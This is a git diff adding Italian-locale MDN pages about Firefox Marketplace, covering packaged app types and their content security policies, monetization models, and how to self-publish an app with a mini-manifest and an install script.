+ <li><a href="/en-US/Marketplace/Prepare/Choosing_your_business_model">Choosing your business model</a> for details on the monetization options offered in Firefox Marketplace and advice on choosing the right one for your app.</li>
+ <li><a href="/en-US/Marketplace/Publishing/Submit/Overview">Submit your app</a> for detailed information on the process for submitting an app to Firefox Marketplace.</li>
+</ul>
diff --git a/files/it/mozilla/marketplace/options/index.html b/files/it/mozilla/marketplace/options/index.html
new file mode 100644
index 0000000000..067b7756f8
--- /dev/null
+++ b/files/it/mozilla/marketplace/options/index.html
@@ -0,0 +1,21 @@
+---
+title: Your publication options
+slug: Mozilla/Marketplace/Options
+tags:
+  - NeedsTranslation
+  - Structure only
+  - TopicStub
+translation_of: Archive/Mozilla/Marketplace/Options/Introduction
+---
+<p>In <a href="/en-US/Marketplace/Options/Introduction">this section</a> you'll discover:</p>
+<ul>
+ <li>the formats in which you can deliver Open Web Apps ‐ either as a <a href="/en-US/Marketplace/Options/Packaged_apps">packaged</a> or <a href="/en-US/Marketplace/Options/Hosted_apps">hosted</a> app ‐ as well as details on how to <a href="/en-US/Marketplace/Options/Packaged_or_hosted_">make the choice between these formats</a>.</li>
+ <li>how the features of <a href="/en-US/Marketplace/Options/Open_web_apps_for_android">Open Web Apps for Android</a> and <a href="/en-US/Marketplace/Options/Open_web_apps_for_desktop">Open Web Apps for Desktop</a> deliver your apps to Android devices and Windows/Mac/Linux PCs.</li>
+ <li>information on choosing between devices with different amounts of memory.</li>
+ <li>your options for <a href="/en-US/Marketplace/Options/Self_publishing">publishing apps yourself</a>, outside Firefox Marketplace.</li>
+ <li>how you can <a href="/en-US/Marketplace/Options/Creating_a_store">create your own Marketplace</a>.</li>
+</ul>
+<div class="warning">
+ <p>Content in this section is still under development.</p>
+</div>
+<p> </p>
diff --git a/files/it/mozilla/marketplace/options/packaged_apps/index.html b/files/it/mozilla/marketplace/options/packaged_apps/index.html
new file mode 100644
index 0000000000..056adf7d11
--- /dev/null
+++ b/files/it/mozilla/marketplace/options/packaged_apps/index.html
@@ -0,0 +1,55 @@
+---
+title: Packaged apps
+slug: Mozilla/Marketplace/Options/Packaged_apps
+translation_of: Archive/Mozilla/Marketplace/Options/Packaged_apps
+---
+<div class="summary">
+ <p><span class="seoSummary">A <strong>packaged app</strong> is an Open Web App that has all of its resources (HTML, CSS, JavaScript, app manifest, and so on) contained in a zip file, instead of having its resources on a Web server. This article provides an introduction to packaged apps and links to everything you need to know about packaged apps from a developer standpoint.</span></p>
+</div>
+<p>A packaged app is zip file that contains all the resources that enable an Open Web App to function, along with an <a href="/en-US/docs/Web/Apps/Manifest">app manifest</a> in the zip's root directory. The app manifest provides details about the app such as its description, icons used to identify the installed app and such like. The package is then used to install the app to Firefox OS devices, <a href="/en-US/Marketplace/Options/Open_web_apps_for_android">Android devices</a> and <a href="/en-US/Marketplace/Options/Open_web_apps_for_desktop">desktops</a>. Once installed the app runs on the device, but is still able to access resources on the Web, such as a database on a Web server.</p>
+<p>There are three <a href="#types_of_packaged_apps">types of packaged apps</a>: web app, privileged app and certified app. While packaged apps can be used to deliver any type of Open Web App, privileged and certified apps are digitally signed to enable the use of <a href="/en-US/Apps/Build/App_permissions">privileged and certified APIs</a>. Privileged apps are signed as part of the Marketplace review process, while certified apps are signed by device manufacturers or operators.</p>
+<p>In addition to their ability to use privileged and certified APIs, packaged apps offer users a faster first start response as all the of the app's resources are available on the device after installation.These feature makes packaged apps the recommended approach for delivering Open Web Apps to Firefox OS devices, <a href="/en-US/Marketplace/Options/Open_web_apps_for_android">Android devices</a> and <a href="/en-US/Marketplace/Options/Open_web_apps_for_desktop">desktops</a>.</p>
+<div class="note">
+ <p><strong>Note:</strong> Currently the Firefox Marketplace supports web and privileged packaged apps. In addition, Firefox Marketplace supports paid packaged apps for Firefox OS only and free packaged apps for Firefox OS, Firefox for Android and Firefox for Desktop. Support for paid apps on all platforms is under development.</p>
+</div>
+<h2 id="Types_of_packaged_apps"><a name="types_of_packaged_apps">Types of packaged apps</a></h2>
+<p>There are three types of packaged apps: web apps, privileged apps and certified app. Each type of packaged app corresponds to a level of the <a href="https://developer.mozilla.org/en-US/Firefox_OS/Security/Security_model#App_Security">App Security</a> model implemented in Firefox OS. This section provides more information on each.</p>
+<h3 id="Web_app">Web app</h3>
+<p>A web app is one that doesn't make use of privileged or certified APIs. When submitted to Marketplace the app's package is signed, but the special authentication process used for privileged or certified apps isn't performed. Web apps therefore cannot use privileged or certified APIs. These apps are not subject to the <a href="/en-US/Apps/CSP">Content Security Policies</a> (CSPs) required for privileged and certified apps.</p>
+<p>This type of packaged app doesn't require the <code>type</code> field in its <code>manifest.webapp</code> file, because the default value for <code>type</code> (<code>web</code>) is correct.</p>
+<p>Web apps may be <a href="/en-US/Marketplace/Options/Self_publishing">self-published</a> or distributed through the Firefox Marketplace. Web apps can also be delivered using the <a href="/en-US/Marketplace/Options/Hosted_apps">Hosted app</a> mechanism.</p>
+<h3 id="Privileged_app">Privileged app</h3>
+<p>A privileged app is one that makes use of privileged APIs and can be considered as the equivalent of a native app on platforms such as iOS and Android. When submitted to the Firefox Marketplace, privileged apps are approved using a special process. This process gives users of the app a level of assurance that the app has been carefully reviewed for potential security, privacy and capability issues.</p>
+<p>To specify that an app is a privileged app, add the <a href="/en-US/docs/Web/Apps/Manifest#type"><code>type</code></a> field to its <code>manifest.webapp</code> file and set it to <code>privileged</code>. Every privileged API your app needs to access  must be added to the <code>permissions</code> field in the <a href="/en-US/docs/Web/Apps/Manifest">app's manifest</a>.</p>
+<p>Firefox OS and the Web runtimes for Android and desktops enforces the following <a href="/en-US/docs/Security/CSP/Introducing_Content_Security_Policy">CSP</a> for privileged apps:</p>
+<pre class="brush: js">"default-src *; script-src 'self'; object-src 'none'; style-src 'self' 'unsafe-inline'"</pre>
+<p>Privileged apps may be distributed through the Firefox Marketplace only.</p>
+<h3 id="Certified_app">Certified app</h3>
+<div class="geckoVersionNote">
+ <p>Certified apps are not generally available to third-party developers and aren't distributed through the Firefox Marketplace. The long term goal for the APIs covered by certification is to harden then so they can be made available as privileged APIs. If you've an interest in seeing a particular API made available, please provide feedback on the <a href="https://lists.mozilla.org/listinfo/dev-webapps">dev-webapps</a> mailing list.</p>
+</div>
+<p>A certified app is one that makes used of certified APIs, APIs that offer access to critical system function such as the default dialer or the system settings app on a device. Compared to to a privileged app, all API permissions in a certified app are implicit, meaning they are enabled without explicit user approval. A certified app must be approved for a device by the OEM or carrier.</p>
+<p>To specify that an app is a certified app, add the <a href="/en-US/docs/Web/Apps/Manifest#type"><code>type</code></a> field to its <code>manifest.webapp</code> file and set it to <code>certified</code>. Every privileged and certified API your app needs to access  must be added to the <code>permissions</code> field in the <a href="/en-US/docs/Web/Apps/Manifest">app's manifest</a>.</p>
+<p>Firefox OS implements the following CSP for certified apps:</p>
+<pre class="brush: js">"default-src *; script-src 'self'; object-src 'none'; style-src 'self'"</pre>
+<p>This has the effect of implementing stricter rules for inline CSP for certified compared to privileged apps. If you want to understand the reasoning behind this, see <a href="https://wiki.mozilla.org/Apps/Security#Default_CSP_policy">Default CSP policy</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=768029">Bug 768029</a>.</p>
+<p>Certified apps are preloaded onto devices by OEMs and operators.</p>
+<h2 id="Testing_packaged_apps">Testing packaged apps</h2>
+<p>To install a packaged app into a Firefox OS Simulator or onto a device for testing purposes, see <a href="/en-US/Firefox_OS/Using_the_App_Manager">Using the App Manager</a>. Alternatively, you can install it on to a device from a Web server by following the steps described in <a href="/en-US/Marketplace/Options/Self_publishing">Publishing apps yourself</a>. Remember that when you publish apps yourself, packaged web apps only can be installed .</p>
+<h2 id="Publishing_packaged_apps">Publishing packaged apps</h2>
+<p>You have two options for publishing packaged apps: on Firefox Marketplace or self-publishing.</p>
+<h3 id="Publishing_on_Firefox_Marketplace">Publishing on Firefox Marketplace</h3>
+<p>The process for submitting a packaged app to Firefox Marketplace is described in the <a href="/en-US/Marketplace/Publishing">App Publishing</a> section.</p>
+<p>When you submit your packaged app, its zip file is stored on the Marketplace servers, and the Marketplace generates a new manifest called the <strong>mini-manifest</strong> that is based on the app manifest in your packaged app's zip file. When a user installs your app, the mini-manifest is passed to the <a href="/en-US/docs/Web/API/Apps.installPackage"><code>Apps.installPackage()</code></a> function to install the app. The mini-manifest exists for installation and update purposes and isn't used when your app runs.</p>
+<h3 id="Publishing_yourself">Publishing yourself</h3>
+<p>It's possible to publish packaged web apps outside Firefox Marketplace, on your own web server. Details are provided in <a href="/en-US/Marketplace/Options/Self_publishing">Publishing apps yourself</a>.</p>
+<h2 id="Updating_packaged_apps">Updating packaged apps</h2>
+<p>For information on updating apps, see <a href="/en-US/docs/Web/Apps/Updating_apps">Updating apps</a>.</p>
+<h2 id="More_information">More information</h2>
+<ul>
+ <li><a href="/en-US/Firefox_OS/Security/Security_model">Firefox OS security Overview</a></li>
+ <li><a href="/en-US/Firefox_OS/Security/Application_security">Application Security</a></li>
+ <li><a href="https://github.com/robnyman/Firefox-OS-Boilerplate-App" title="https://github.com/robnyman/Firefox-OS-Boilerplate-App">Firefox OS Boilerplate App</a></li>
+</ul>
+<p> </p>
+Ytughf
diff --git a/files/it/mozilla/marketplace/prepare/choosing_your_business_model/index.html b/files/it/mozilla/marketplace/prepare/choosing_your_business_model/index.html
new file mode 100644
index 0000000000..b4bceec5cf
--- /dev/null
+++ b/files/it/mozilla/marketplace/prepare/choosing_your_business_model/index.html
@@ -0,0 +1,121 @@
+---
+title: Choosing your business model
+slug: Mozilla/Marketplace/Prepare/Choosing_your_business_model
+tags:
+  - italiano tags
+translation_of: Archive/Mozilla/Marketplace/Prepare/Choosing_your_business_model
+---
+<div class="summary">
+<p><span class="seoSummary">A guide to and advice on choosing an appropriate business model for monetizing Firefox Marketplace apps.</span></p>
+</div>
+
+<p>You may be happy to create and distribute your apps for free. We applaud you for that, it’s very much in the spirit of everything we do here at Mozilla. However, we also understand that you may want to make app development your source of income and there is nothing wrong with that. Selecting the most appropriate monetization model your apps is a critical step if you want to maximize the revenue you earn. It's about a lot more than simply loading your app into Firefox Marketplace and setting a price: it's entirely possible that you could make more money by not charging for your app at all.</p>
+
+<p>To assist you with implementing the best monetization option, this page describes the models available before looking at the criteria to consider in deciding which option to use.</p>
+
+<h2 id="Monetization_models">Monetization models</h2>
+
+<p>When it comes to making money from your Firefox Marketplace apps there are a number of monetization models you can use. This section describes the options available.</p>
+
+<h3 id="The_Paid_App_or_Premium_model">The Paid App or Premium model</h3>
+
+<p>This is the simple, traditional model for monetizing apps: You generate your revenue from sales of your app by setting a price for it in the Marketplace. The user must then pay before being able to download and install your app.</p>
+
+<p>The advantage of this model is its simplicity, you simply write your app and price it. There are however several disadvantages:</p>
+
+<ul>
+ <li>Pricing an app can be a barrier to users downloading it in the first place:
+  <ul>
+   <li>Some users will be reluctant to download a paid app because they may find it difficult to judge an app fully based on the store description and screenshots alone: they want to know what they're getting before paying.</li>
+   <li>Increasingly developers are adopting other monetization models for their apps, so it's likely that users will be able to find a similar app that is available for free.</li>
+  </ul>
+ </li>
+ <li>In those countries where operator billing isn’t available your target users may not have ready access to credit cards. This may mean that few users could purchase your app even if they wanted to.</li>
+</ul>
+
+<h3 id="Try_and_Buy_model">Try and Buy model</h3>
+
+<p>In this model you make a version of your app available for free and then offer a paid app version with enhanced features, using Marketplace's 'promote as an upgrade' feature. This enables you to retain the simplicity of the premium monetization model, while addressing some of the issues with using the premium model alone.</p>
+
+<p>There are several approaches you can take to differentiating the free and paid versions of your app, such as:</p>
+
+<ul>
+ <li>Including advertising in the free version, then offering a paid version that is ad free.</li>
+ <li>Offering the free app for a limited time before some or all of its features become unavailable, with the paid app removing any limits. Take care to ensure that the time limit is sufficient for the user to experience most of the apps features. For example, in a time recording app you might want to provide at least a month’s trial, so the user can use any end of month summary features.</li>
+ <li>Providing limited features in the free version, with no limit on the features in the paid app. In the free app you could disable some features or offer all the features but limit the number of items to be stored or displayed by the app. For example, in a notepad app you might limit the number of notes a user can create, then offer unlimited note creation in the upgrade version.</li>
+</ul>
+
+<p>This approach can overcome the resistance to buying apps, as it allows the user to understand the app’s value before making the purchase. However, it doesn’t overcome any limitations created by the means of payment available in some markets.</p>
+
+<p>If you choose to use this model, Firefox Marketplace offers the <a href="/en-US/Marketplace/Publishing/Pricing/Promote_as_upgrade_to_free_version">Promote as upgrade to free version</a> option. Using this option you link a paid app to its free version and Firefox Marketplace then provides a link to the paid version from the free one's Marketplace listing, as shown below.</p>
+
+<p><img alt="The Premium version available notice and link in the listing of a free app on a Firefox OS device." src="https://mdn.mozillademos.org/files/8029/Premium%20version%20available%20%28phone%29.png" style="width: 480px; height: 853px;">.</p>
+
+<p> </p>
+
+<h3 id="In-App_Purchases_model">In-App Purchases model</h3>
+
+<p>In this model you distribute a free version of your app only, but then offer users various additional items from within the app. These in-app purchases fall broadly into two categories:</p>
+
+<ul>
+ <li>Durables — items that are permanently available to the user. Examples include unlocking an app at the end of a time or use based trial, adding new app features, adding levels within a game, adding collections of information, removing ads, and such like.</li>
+ <li>Consumables — items that the user consumes within the app. You could treat almost any item as a consumable, such as offering an app feature on a time or use limited basis, but you can also offer such things as an in-game currency.</li>
+</ul>
+
+<p>This model can often be easiest to implement in games, where additional levels, characters, power ups, and various other game unlocks lend themselves well to separate purchases. But equally an information app could offer a small set of information for free and an expanded or more details set from an in-app purchase.</p>
+
+<p>One particular benefit of in-app purchases is that it offers the ability to generate a recurring stream of revenue from installed apps. Games are a particularly good example of how this model works. You might offer a free download with 5 levels. Then, when the user has completed those levels, offer an additional 5 levels as an in-app purchase. Then at the end of those levels, offer 5 more for an in-app payment and so on. And as long as each new level pack is as engaging as the last, users will most likely continue to purchase new level packs.</p>
+
+<p>This model, overcomes the issues associated with any reluctance to download a paid app, but could still be effected by the same disadvantages notably any limitation on payment options.</p>
+
+<div class="note">
+<p>The in-app payment system in Firefox OS doesn’t yet support periodic subscriptions.</p>
+</div>
+
+<h3 id="Ad_supported">Ad supported</h3>
+
+<p>In this model you incorporate advertising into your app and generate revenue from ad views and clickthroughs to view the advertised product or service. You will usually offer your app for free when it's ad-supported, but you can include ads in a premium app or in conjunction with in-app purchases, but do this with caution — particularly in premium apps — as users may consider you're 'charging ' them twice. You could also combine this approach with Promote as upgrade: offer the full app with adverts as the 'try' and a premium version without ads as the 'upgrade'. Alternatively you could use an in-app payment to offer a 'remove the ads' feature in the app.</p>
+
+<p>If you want to take this approach you can use any ad network you wish. There are a number of companies that offer ad services for websites and mobile apps, for example <a href="https://apps.admob.com/">Google AdMob</a> and <a href="http://inner-active.com/">Inneractive</a>.</p>
+
+<p>This model completely removes the barriers that paid app or in-app purchases have, in that you don’t have to worry about the willingness or ability of users to make payments.</p>
+
+<h2 id="Choosing_your_model">Choosing your model</h2>
+
+<p>Finding the right monetization model for your application isn’t an exact science; even simply deciding what price to charge can be a difficult process. The information you gathered while getting to know your users is the best place to start. This should provide you with some insight into their expectations:</p>
+
+<ul>
+ <li>Would they download a paid version of the app?</li>
+ <li>Do they have an interest in buying premium services?</li>
+ <li>Would they prefer a free app with ads?</li>
+</ul>
+
+<p>This information needs to be combined with that on the available payment methods. This will help you determine if users will be willing and able to purchase apps or in-app products. You also should consider that the Firefox Marketplace will allow you to convert a free app to one users have to pay for, but you cannot make a paid for app free. So, unless you release a second version of the app, once you've chosen a paid model it’s hard to change to a free one.</p>
+
+<p>If you choose to use a paid or in-app purchase model, you’ll need to assess what your users will tolerate in terms of app price. Here it’s worth investigating what models and prices are being used by your competitors. Even if there is no direct competition, look at similar classes of app and see what they do.</p>
+
+<p>Even if you want to price your apps, err towards a model that provides users with a free download of some sort — as a paid download, even a low priced one, will be a barrier to many users.</p>
+
+<p>If you've any doubts about the effectiveness of a model with a paid element, then consider implementing in-app advertising in a free to download app.</p>
+
+<p>You can also mix the models, for example by using both advertising and in-app purchases. The only combination that should be used with caution is advertising in a paid app, as users may view this combination negatively.</p>
+
+<p>Bear in mind that there are some apps where you may be practically limited to either free or paid options only. For example games targeted at children may work better as paid apps: parents may look for games without advertising or in-app purchases that they can safely let their children use.</p>
+
+<p>If you come to no firm conclusions from your research, consider trying these general guidelines when choosing your model:</p>
+
+<ul>
+ <li>Use the Premium model for feature-rich apps or apps in specialist niches, also where you've an establish brand that users trust.</li>
+ <li>Offer a free version of any premium app and promote the premium app as an upgrade.</li>
+ <li>Use in-app purchases where you've granular or incremental content that can be sold as low priced additions, but beware of the development overhead in implementing each item the user can purchase — start with a few and add more over time.</li>
+ <li>Use in-app advertising in apps that offer a 'browsing' style interface, where the user is likely to notice ads while looking for and consuming content. It may also be a good option where the market or target audience might be more price sensitive.</li>
+</ul>
+
+<p>You’ll probably have to experiment with different models to find the right one for any particular app. You may also find that you need to use different models for different apps in your portfolio, particularly if the user base varies between those apps. Similarly, variations among markets may mean that you can price your app in one country, but need to use in-app advertising in another — for example, you might be able to position a soccer app as paid in the UK or Brazil, but need to use in-app advertising in a version for the US.</p>
+
+<h2 id="Also_see">Also see</h2>
+
+<ul>
+ <li><a href="/en-US/Marketplace/Monetization/Profiting_from_your_app">Profiting from your app</a></li>
+ <li><a href="/en-US/Marketplace/Publishing/Pricing/Promote_as_upgrade_to_free_version">Promote as upgrade to free version</a></li>
+</ul>
diff --git a/files/it/mozilla/marketplace/prepare/introduction/index.html b/files/it/mozilla/marketplace/prepare/introduction/index.html
new file mode 100644
index 0000000000..80a27bbc81
--- /dev/null
+++ b/files/it/mozilla/marketplace/prepare/introduction/index.html
@@ -0,0 +1,35 @@
+---
+title: Introduction — Prepare for Success
+slug: Mozilla/Marketplace/Prepare/Introduction
+tags:
+  - italiano tags
+translation_of: Archive/Mozilla/Marketplace/Prepare/Introduction
+---
+<div class="summary">
+<p><span class="seoSummary">Learn about the techniques you can use to create quality Firefox Marketplace apps and games people want, and build a worldwide user base of dedicated and loyal fans.</span></p>
+</div>
+
+<p>Creating a successful Open Web App isn't just about great coding for a great open platform. Whether you’re coding for pleasure and the joy of sharing your ideas, or you want to build a business from your coding activities, you’ll want users to download and use your apps.</p>
+
+<p>This section contains the advice you need to achieve your goals in terms of app downloads, revenue and use.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/en-US/Marketplace/Prepare/Deciding_what_to_build">Deciding what to build</a></dt>
+ <dd>A great app starts with a great idea. Get guidance on choosing what to build.</dd>
+ <dt><a href="/en-US/Marketplace/Prepare_For_Success/Getting_to_know_your_users">Getting to know your users</a></dt>
+ <dd>Understanding your users and what they are looking for in your apps is critical to success.</dd>
+ <dt><a href="/en-US/Marketplace/Prepare/Choosing_your_business_model">Choosing your business model</a></dt>
+ <dd>Discover the business models available to your apps and games, and see how you might use them.</dd>
+ <dt> </dt>
+ <dt><a href="/en-US/Marketplace/Prepare/Localizing_your_apps">Localizing your apps</a></dt>
+ <dd>Taking your app to the world means localizing it for users worldwide. Find out about the processes and implications of localizing your app.</dd>
+ <dt><a href="/en-US/Marketplace/Prepare/Promoting_your_app">Promoting your app</a></dt>
+ <dd>Firefox Marketplace is a great way for users to discover apps, but to achieve the downloads you deserve you’ll need to shout about your app. Find out how to make a noise.</dd>
+ <dt><a href="/en-US/Marketplace/Prepare/Creating_your_community">Creating your community</a></dt>
+ <dd>Nurture and grow a vibrant community around your apps and tap into their enthusiasm and expertise.<br>
+  </dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/it/mozilla/marketplace/publishing/index.html b/files/it/mozilla/marketplace/publishing/index.html
new file mode 100644
index 0000000000..e2b172a388
--- /dev/null
+++ b/files/it/mozilla/marketplace/publishing/index.html
@@ -0,0 +1,9 @@
+---
+title: Publishing
+slug: Mozilla/Marketplace/Publishing
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla/Marketplace/Publishing/Introduction
+---
+<p>Marketplace publishing</p>
diff --git a/files/it/mozilla/marketplace/publishing/opzioni_pubblicazione_app/index.html b/files/it/mozilla/marketplace/publishing/opzioni_pubblicazione_app/index.html
new file mode 100644
index 0000000000..ab3302cc6c
--- /dev/null
+++ b/files/it/mozilla/marketplace/publishing/opzioni_pubblicazione_app/index.html
@@ -0,0 +1,152 @@
+---
+title: Autopubblicare un'app
+slug: Mozilla/Marketplace/Publishing/opzioni_pubblicazione_app
+translation_of: Archive/Mozilla/Marketplace/Options/Self_publishing
+---
+<div class="summary">
+<p><span class="seoSummary">In alcune circostanze è preferibile non distribuire un'app attraverso Firefox Marketplace, per esempio nel caso si desideri condividerla soltanto con i membri della propria organizzazione, eseguire un test su una versione beta o semplicemente farne un uso privato. In questa pagina è spiegato come autopubblicare le proprie app al di fuori di Firefox Marketplace.</span></p>
+</div>
+
+<p>Le app open web possono essere installate su Firefox OS e dispositivi dotati di Firefox per Android o Firefox per desktop utilizzando {{ domxref("Apps.install") }} o {{ domxref("DOMApplicationsRegistry.installPackage", "Apps.installPackage") }}. Il ruolo di entrambe le API è trasmettere l'URL del manifesto contenente la descrizione dell'app da installare. Dunque i requisiti di base per autopubblicare un'app sono:</p>
+
+<ol>
+ <li>un server dove ospitare il manifesto dell'app,</li>
+ <li>un server dove ospitare l'app (nel caso di app remota) o l'app stessa compressa in un file zip,</li>
+ <li>un codice nel sito web che richiami {{ domxref("Apps.install") }} o {{ domxref("DOMApplicationsRegistry.installPackage", "Apps.installPackage") }} a seconda del caso.</li>
+</ol>
+
+<h2 id="Limitazioni">Limitazioni</h2>
+
+<p>Prima di autopubblicare un'app open web è bene considerare le seguenti limitazioni:</p>
+
+<ul>
+ <li>Le app autopubblicate non sono in grado di utilizzare le <a href="/en-US/Apps/Build/App_permissions">API con privilegi</a>. Per usufruire di tali API un'app dev'essere di tipo locale (packaged) e contenuta in un file zip firmato tramite il processo di caricamento dell'app su Firefox Marketplace.</li>
+ <li>Le app autopubblicate non possono usufruire dei pagamenti in-app di Firefox Marketplace.</li>
+ <li>È necessario implementare autonomamente una propria strategia di diffusione, in quanto l'app non comparirà negli elenchi di Firefox Marketplace.</li>
+</ul>
+
+<h2 id="App_locali_autopubblicate">App locali autopubblicate</h2>
+
+<p>È possibile pubblicare un'app locale ospitando il file zip su un server insieme a un mini-manifesto. Il mini-manifesto, utilizzato per identificare l'app durante il processo di installazione, deve essere ospitato nella stessa directory del file zip. Il passo successivo è creare uno script per richiamare {{ domxref("DOMApplicationsRegistry.installPackage", "Apps.installPackage") }} e trasmettergli le informazioni contenute nel mini-manifesto. Ecco il procedimento dettagliato:</p>
+
+<ol>
+ <li>
+  <p>Comprimere i contenuti dell'app in un file zip e rinominarlo <code>package.zip</code>. Questo file deve contenere tutte le risorse dell'app, compreso il <a href="https://developer.mozilla.org/en-US/Apps/Build/Manifest" title="Documentazione sul manifesto">manifesto</a> principale.</p>
+
+  <div class="warning">
+  <p><strong>Attenzione</strong>: al momento di creare il file zip, posizionare tutti i contenuti che devono comparire nell'app nella cartella principale, senza sottocartelle. Comprimendo la cartella genitore con all'interno le sottocartelle, il manifesto risulterebbe in una posizione sbagliata, invalidando l'app.</p>
+  </div>
+ </li>
+ <li>Creare un file e nominarlo <code>manifest.webapp</code>, poi aggiungere i contenuti riportati di seguito. Questo file è chiamato mini-manifesto perché consiste in una versione leggermente ridotta del manifesto incluso nel file zip dell'app locale. Viene utilizzato da {{ domxref("DOMApplicationsRegistry.installPackage", "Apps.installPackage") }} per installare l'app. Per informazioni dettagliate sul contenuto del file leggere <a href="#Campi del mini-manifesto">Campi del mini-manifesto</a> di seguito.
+  <pre class="brush: js">{
+    "name": "My sample app",
+    "package_path" : "<a class="LinkyMobile-ext" href="http://my-server.com/my-app-directory/my-app.zip" title="Linkification: http://my-server.com/my-app-directory/my-app.zip">http://my-server.com/my-app-directory/package.zip</a>",
+    "version": "1",
+    "developer": {
+        "name": "A. Developer",
+        "url": "<a class="LinkyMobile-ext" href="http://my-server.com" title="Linkification: http://my-server.com">http://my-server.com</a>"
+    }
+}</pre>
+ </li>
+ <li>Creare lo script di installazione. Nell'esempio viene utilizzato un semplice file html nominato <code>index.html</code> , ma è possibile anche aggiungere lo script a un pulsante o utilizzare qualsiasi altro metodo appropriato per richiamarlo al sito web. Il codice JavaScript di questa pagina richiama l'API di installazione per le app locali ({{ domxref("DOMApplicationsRegistry.installPackage", "Apps.installPackage") }}), includendo anche dei callback per notificare l'esito dell'installazione.
+  <pre class="brush: html">&lt;html&gt;
+  &lt;body&gt;
+    &lt;p&gt;Packaged app installation page&lt;/p&gt;
+    &lt;script&gt;
+      // This URL must be a full url.
+      var manifestUrl = '<a class="LinkyMobile-ext" href="http://my-server.com/my-app-directory/package.manifest" title="Linkification: http://my-server.com/my-app-directory/package.manifest">http://my-server.com/my-app-directory/manifest.webapp</a>';
+      var req = navigator.mozApps.installPackage(manifestUrl);
+      req.onsuccess = function() {
+        alert(this.result.origin);
+      };
+      req.onerror = function() {
+        alert(this.error.name);
+      };
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+ </li>
+ <li>Caricare i file su un server o sito web copiando <code>package.zip</code>, <code>manifest.webapp</code> e <code>index.html</code> nella directory desiderata (nel codice di esempio <code>my-app-directory</code>).</li>
+ <li>Ora è possibile installare l'app su un dispositivo compatibile (come uno smartphone Firefox OS). Aprire il file <code>index.html</code> (nel testo di esempio posizionato al percorso <code> <a class="LinkyMobile-ext" href="http://my-server.com/my-app-directory/package.manifest" title="Linkification: http://my-server.com/my-app-directory/package.manifest">http://my-server.com/my-app-directory/index.html</a></code>). Verrà visualizzata una richiesta di conferma per procedere con l'installazione. Confermando inizierà il processo di installazione. Al termine del processo, lo script della pagina web notificherà l'esito positivo o negativo dell'operazione.</li>
+</ol>
+
+<div class="note">
+<p><strong>Suggerimento</strong>: per eseguire i test su dispositivo è possibile anche ospitare un'app locale su un server locale. Il server web e il dispositivo devono essere sullo stesso network, inoltre il server deve essere abilitato a servire richieste dal network locale. Sarà sufficiente includere il percorso assoluto nel <code>package_path</code> del mini-manifesto, esattamente come viene incluso normalmente (vedi sotto). Se si sta utilizzando una porta non predefinita, includere anche le informazioni della porta (es. <code><a class="LinkyMobile-ext" href="http://10.10.12.1:8080/package.zip" title="Linkification: http://10.10.12.1:8080/package.zip">http://10.10.12.1:8080/package.zip</a></code>).</p>
+</div>
+
+<h3 id="Campi_del_mini-manifesto">Campi del mini-manifesto</h3>
+
+<p>Gli sviluppatori che scelgono di pubblicare le proprie app con Firefox Marketplace non hanno bisogno di compilare il mini-manifesto, in quanto esso viene generato automaticamente dal Marketplace, estrapolando le informazioni necessarie dal manifesto dell'app incluso nel file zip. I dettagli sui contenuti del manifesto principale si trovano nell'articolo <a href="/en-US/Apps/Build/Manifest">App manifest</a>.</p>
+
+<p>Gli sviluppatori che desiderano autopubblicare un'app devono invece compilare il mini-manifesto. Il metodo più sicuro per ottenere un mini-manifesto è fare una copia del manifesto principale e modificare le parti necessarie. Lavorare su una copia garantisce il rispetto del primo requisito di un mini-manifesto, ovvero che i campi <strong><code>name</code>, <code>version</code>, <code>developer</code> e <code>locales</code> siano esattamente uguali a quelli del manifesto principale</strong>. Occorre poi aggiungere i campi esclusivi del mini-manifesto: <code>package_path</code>, <code>release_notes</code> e <code>size</code>.</p>
+
+<dl>
+ <dt><code>package_path</code> (obbligatorio)</dt>
+ <dd>Il percorso assoluto (ovvero l'url completo, ad esempio <code><a class="LinkyMobile-ext" href="http://my-server.com/my-app-directory/package.manifest" title="Linkification: http://my-server.com/my-app-directory/package.manifest">http://my-server.com/my-app-directory/manifest.webapp</a></code>) della posizione in cui è stato archiviato il file zip dell'app.</dd>
+ <dt><code>release_notes</code> (facoltativo)</dt>
+ <dd>Informazioni sulla versione corrente dell'app. Su Firefox Marketplace queste informazioni vengono fornite durante il processo di caricamento.</dd>
+</dl>
+
+<dl>
+ <dt><code>size</code> (facoltativo)</dt>
+ <dd>Le dimensioni del file zip espresse in byte. Questa informazione viene utilizzata da {{ domxref("DOMApplicationsRegistry.installPackage", "Apps.installPackage") }} per mostrare l'avanzamento del processo di installazione.</dd>
+</dl>
+
+<p>Esempio:</p>
+
+<pre class="brush: js">{
+  "name": "My app",
+  "package_path": "<a class="LinkyMobile-ext" href="http://thisdomaindoesnotexist.org/myapp.zip" title="Linkification: http://thisdomaindoesnotexist.org/myapp.zip">http://thisdomaindoesnotexist.org/myapp.zip</a>",
+  "version": "1.0",
+  "size": 172496,
+  "release_notes": "First release",
+  "developer": {
+    "name": "Developer Name",
+    "url": "<a class="LinkyMobile-ext" href="http://thisdomaindoesnotexist.org/" title="Linkification: http://thisdomaindoesnotexist.org/">http://thisdomaindoesnotexist.org/</a>"
+  },
+  "locales": {
+    "fr-FR": {
+      "name": "Mon application"
+    },
+    "se-SE": {
+      "name": "Min balla app"
+    }
+  },
+  "icons": {
+    "16": "/icons/16.png",
+    "32": "/icons/32.png",
+    "256": "/icons/256.png"
+  }
+}
+</pre>
+
+<p>Gli altri campi presenti nell'esempio sono:</p>
+
+<dl>
+ <dt><code>name</code> (obbligatorio)</dt>
+ <dd>Il nome dell'app. Lunghezza massima 128 caratteri.</dd>
+ <dt><code>version</code> (facoltativo)</dt>
+ <dd>La versione dell'app.</dd>
+ <dt><code>developer</code>  (facoltativo)</dt>
+ <dd>Informazioni sullo sviluppatore, contiene i campi <code>name</code> e <code>url</code>. Le informazioni sullo sviluppatore presenti nel manifesto principale e nel mini-manifesto devono coincidere.</dd>
+ <dt><code>locales</code> (facoltativo)</dt>
+ <dd>Informazioni sulla localizzazione. I codici del locale devono essere espressi nel formato <code>xx-YY</code>.</dd>
+ <dt><code>icons</code> (facoltativo)</dt>
+ <dd>Le icone in uso dell'app.</dd>
+</dl>
+
